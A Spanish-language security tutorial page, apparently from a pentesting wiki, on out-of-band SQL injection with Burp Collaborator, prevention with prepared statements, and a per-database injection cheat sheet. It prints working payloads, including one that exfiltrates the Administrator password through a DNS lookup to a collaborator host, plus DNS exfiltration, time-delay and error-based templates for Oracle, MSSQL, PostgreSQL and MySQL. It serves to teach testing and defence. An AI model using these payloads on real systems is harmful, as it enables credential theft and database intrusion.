Cuando no se pueden explotar respuestas condicionales o errores, una alternativa es provocar interacciones de red out-of-band (OAST) con un sistema bajo nuestro control. Estas interacciones pueden ser activadas con una condición inyectada para inferir información paso a paso o incluso exfiltrar datos directamente.

Uso de DNS para Exfiltración de Datos

Diferentes protocolos de red pueden ser utilizados para este propósito, pero el más efectivo suele ser DNS (Domain Name System). Esto se debe a que muchas redes de producción permiten la salida libre de consultas DNS, ya que son esenciales para el funcionamiento normal del sistema.

Herramientas para Out-of-Band SQL Injection

La forma más sencilla y confiable de utilizar técnicas OAST es con Burp Collaborator, un servidor que proporciona implementaciones personalizadas de varios servicios de red, incluyendo DNS. Burp Suite Professional incluye un cliente integrado que se configura automáticamente para trabajar con Burp Collaborator.

Ejemplo: Inyección OAST en Microsoft SQL Server

Para provocar una consulta DNS y confirmar que la vulnerabilidad es explotable, podemos usar la siguiente inyección:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Esto provoca que la base de datos realice una consulta DNS al dominio generado por Burp Collaborator:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

Burp Collaborator permite generar un subdominio único y monitorear si se recibe una consulta DNS, confirmando que la vulnerabilidad es explotable.

Exfiltración de Datos con OAST

Una vez confirmada la posibilidad de interacciones de red out-of-band, podemos exfiltrar datos sensibles. Por ejemplo, para obtener la contraseña del usuario Administrator y enviarla mediante una consulta DNS:

'; declare @p varchar(1024);
set @p=(SELECT password FROM users WHERE username='Administrator');
exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

¿Qué hace esta inyección?

  1. Obtiene la contraseña del usuario Administrator.

  2. Concatena la contraseña con un subdominio de Burp Collaborator.

  3. Provoca una consulta DNS, que incluye la contraseña en la solicitud.

Por ejemplo, si la contraseña del usuario fuera S3cure, la base de datos generaría la siguiente consulta DNS:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Burp Collaborator capturará esta solicitud, revelando la contraseña del usuario.

Cómo Prevenir la Inyección SQL

Puedes prevenir la mayoría de las instancias de inyección SQL usando consultas parametrizadas en lugar de concatenar cadenas dentro de la consulta. Estas consultas parametrizadas también se conocen como sentencias preparadas.

Código Vulnerable

El siguiente código es vulnerable a la inyección SQL porque la entrada del usuario se concatena directamente en la consulta:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

Prevención de Inyección SQL con Sentencias Preparadas

Puedes reescribir este código de manera que evite que la entrada del usuario interfiera con la estructura de la consulta:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Usos de Consultas Parametrizadas

Puedes usar consultas parametrizadas para cualquier situación donde la entrada no confiable aparezca como datos dentro de la consulta, incluyendo la cláusula WHERE y los valores en una sentencia INSERT o UPDATE. Sin embargo, no pueden usarse para manejar entradas no confiables en otras partes de la consulta, como los nombres de tablas o columnas, o la cláusula ORDER BY. La funcionalidad de la aplicación que coloca datos no confiables en estas partes de la consulta debe tomar un enfoque diferente, como:

  • Lista blanca de valores de entrada permitidos.

  • Usar lógica diferente para entregar el comportamiento requerido.

Requisitos para una Consulta Parametrizada Eficaz

Para que una consulta parametrizada sea eficaz en la prevención de la inyección SQL, la cadena utilizada en la consulta debe ser siempre una constante codificada de manera fija. Nunca debe contener datos variables de ninguna fuente. No te dejes tentar a decidir caso por caso si un dato es confiable y continuar usando concatenación de cadenas dentro de la consulta en casos que se consideren "seguros". Es fácil cometer errores sobre el origen posible de los datos o que cambios en otro código puedan "corromper" los datos confiables.

SQL Injection Cheat Sheet

Esta "cheat sheet" de SQL injection contiene ejemplos de sintaxis útil que puedes usar para realizar una variedad de tareas que suelen surgir al ejecutar ataques de SQL injection.

Concatenación de cadenas

Puedes concatenar múltiples cadenas para formar una sola cadena.

Base de datos
Sintaxis

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Nota el espacio]

CONCAT('foo','bar')

Subcadena

Puedes extraer una parte de una cadena, a partir de un desplazamiento especificado con una longitud determinada. Ten en cuenta que el índice de desplazamiento comienza desde 1. Cada una de las siguientes expresiones devolverá la cadena ba.

Base de datos
Sintaxis

Oracle

SUBSTR('foobar', 4, 2)

Microsoft

SUBSTRING('foobar', 4, 2)

PostgreSQL

SUBSTRING('foobar', 4, 2)

MySQL

SUBSTRING('foobar', 4, 2)

Comentarios

Puedes usar comentarios para truncar una consulta y eliminar la parte de la consulta original que sigue a tu entrada.

Base de datos
Sintaxis

Oracle

--comentario

Microsoft

--comentario

/*comentario*/

PostgreSQL

--comentario

/*comentario*/

MySQL

#comentario

-- comentario [Nota el espacio]

/*comentario*/

Versión de la base de datos

Puedes consultar la base de datos para determinar su tipo y versión. Esta información es útil cuando formulas ataques más complicados.

Base de datos
Sintaxis

Oracle

SELECT banner FROM v$version

SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

Contenido de la base de datos

Puedes listar las tablas que existen en la base de datos, y las columnas que contienen esas tablas.

Base de datos
Sintaxis

Oracle

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Errores condicionales

Puedes probar una condición booleana y activar un error en la base de datos si la condición es verdadera.

Base de datos
Sintaxis

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Extracción de datos a través de mensajes de error visibles

Puedes potencialmente provocar mensajes de error que filtren datos sensibles devueltos por tu consulta maliciosa.

Base de datos
Sintaxis

Microsoft

SELECT 'foo' WHERE 1 = (SELECT 'secret')

PostgreSQL

SELECT CAST((SELECT password FROM users LIMIT 1) AS int)

MySQL

SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))

Consultas encadenadas (Batched queries)

Puedes usar consultas encadenadas para ejecutar múltiples consultas en sucesión. Ten en cuenta que mientras las consultas posteriores se ejecutan, los resultados no se devuelven a la aplicación. Esta técnica se usa principalmente en relación con vulnerabilidades ciegas, donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso en el tiempo.

Base de datos
Sintaxis

Oracle

No admite consultas encadenadas.

Microsoft

QUERY-1-HERE; QUERY-2-HERE

QUERY-1-HERE QUERY-2-HERE

PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

MySQL

QUERY-1-HERE; QUERY-2-HERE

Nota: En MySQL, normalmente no se pueden usar consultas encadenadas para SQL injection. Sin embargo, esto es posible en ocasiones si la aplicación de destino utiliza ciertas APIs de PHP o Python para comunicarse con una base de datos MySQL.

Retrasos en el tiempo (Time delays)

Puedes causar un retraso de tiempo en la base de datos cuando se procesa la consulta. Lo siguiente causará un retraso incondicional de 10 segundos.

Base de datos
Sintaxis

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Retrasos condicionales en el tiempo

Puedes probar una condición booleana y activar un retraso en el tiempo si la condición es verdadera.

Base de datos
Sintaxis

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Búsqueda DNS

Puedes hacer que la base de datos realice una búsqueda DNS a un dominio externo. Para hacer esto, necesitarás usar Burp Collaborator para generar un subdominio único de Burp Collaborator que usarás en tu ataque y luego consultar el servidor de Collaborator para confirmar que ocurrió una búsqueda DNS.

Base de datos
Sintaxis

Oracle

(Vulnerabilidad XXE) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL

(Solo en Windows) LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')

SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

Búsqueda DNS con exfiltración de datos

Puedes hacer que la base de datos realice una búsqueda DNS a un dominio externo que contenga los resultados de una consulta inyectada. Para hacer esto, necesitarás usar Burp Collaborator para generar un subdominio único de Burp Collaborator que usarás en tu ataque y luego consultar el servidor de Collaborator para obtener los detalles de cualquier interacción DNS, incluidos los datos exfiltrados.

Base de datos
Sintaxis

Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

PostgreSQL

create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();

MySQL

(Solo en Windows) SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

PreviousPath TraversalNextControl de Acceso

Last updated 4 months ago

Was this helpful?

Para más información, consulta la .

documentación de Burp Collaborator